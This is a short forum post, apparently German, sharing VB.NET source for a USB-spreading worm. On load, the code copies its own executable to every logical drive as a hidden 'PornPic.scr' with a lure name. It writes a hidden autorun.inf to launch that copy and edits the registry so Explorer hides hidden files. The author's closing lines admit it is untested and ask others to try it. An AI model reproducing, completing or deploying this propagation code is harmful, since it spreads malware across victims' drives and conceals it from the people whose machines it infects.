[VB.NET] USB Spread

[inmate]

Imports System.IO
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
        Dim driver() As String = (IO.Directory.GetLogicalDrives)
        For Each drivers In driver
            Try
                IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr")
                Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
                autorunwriter.WriteLine("[autorun]")
                autorunwriter.WriteLine("open=" & drivers & "PornPic.scr")
                autorunwriter.WriteLine("shellexecute=" & drivers, 1)
                autorunwriter.Close()
                System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
                System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden)
            Catch ex As Exception

            End Try
        Next
        Call filehide()
    End Sub
    Private Sub filehide()

        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0)

    End Sub

End Class

Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testen
wäre schön wenns einer von euch testen kann
mfG